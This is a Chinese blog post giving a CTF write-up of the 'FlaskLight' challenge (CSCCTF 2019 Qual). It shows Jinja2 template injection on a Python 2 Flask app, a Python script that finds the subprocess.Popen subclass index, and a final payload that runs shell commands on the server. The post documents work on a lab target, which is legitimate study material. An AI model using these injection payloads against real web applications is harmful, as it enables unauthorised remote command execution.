[CSCCTF 2019 Qual]FlaskLight 记录

这个根据题目名字,flask模板注入,找注入点
在这里插入图片描述

查看源码发现GET传参
直接测试模板注入
在这里插入图片描述

常规模板注入
试了试之前做过的模板注入,都行不通
然后百度了一波,原来这是python2的
难怪不行

{{''.__class__.__mro__[2].__subclasses__()}}

利用这个可以读取所有的类,然后看看能不能RCE
找到catch_warnings类,
在这里插入图片描述
但是无法RCE
看了wp,发现可以利用subprocess.Popen这个类来进行RCE
学废了
网上搜的模板注入,都没说这个类,emmmm
找索引

import requests
import html
import time

for i in range(0,300):
    time.sleep(0.06)
    url='http://4d0aed10-26a2-4108-8b17-9c8aa555ca2d.node3.buuoj.cn?search={{\'\'.__class__.__mro__[2].__subclasses__()[%d]}}' %(i)
    r = requests.get(url)
    print(url)
    if "subprocess.Popen" in html.unescape(r.text):
        print(i)
        break

在这里插入图片描述
索引为258
payload

{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

查看flasklight目录
在这里插入图片描述
另外一个就是flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值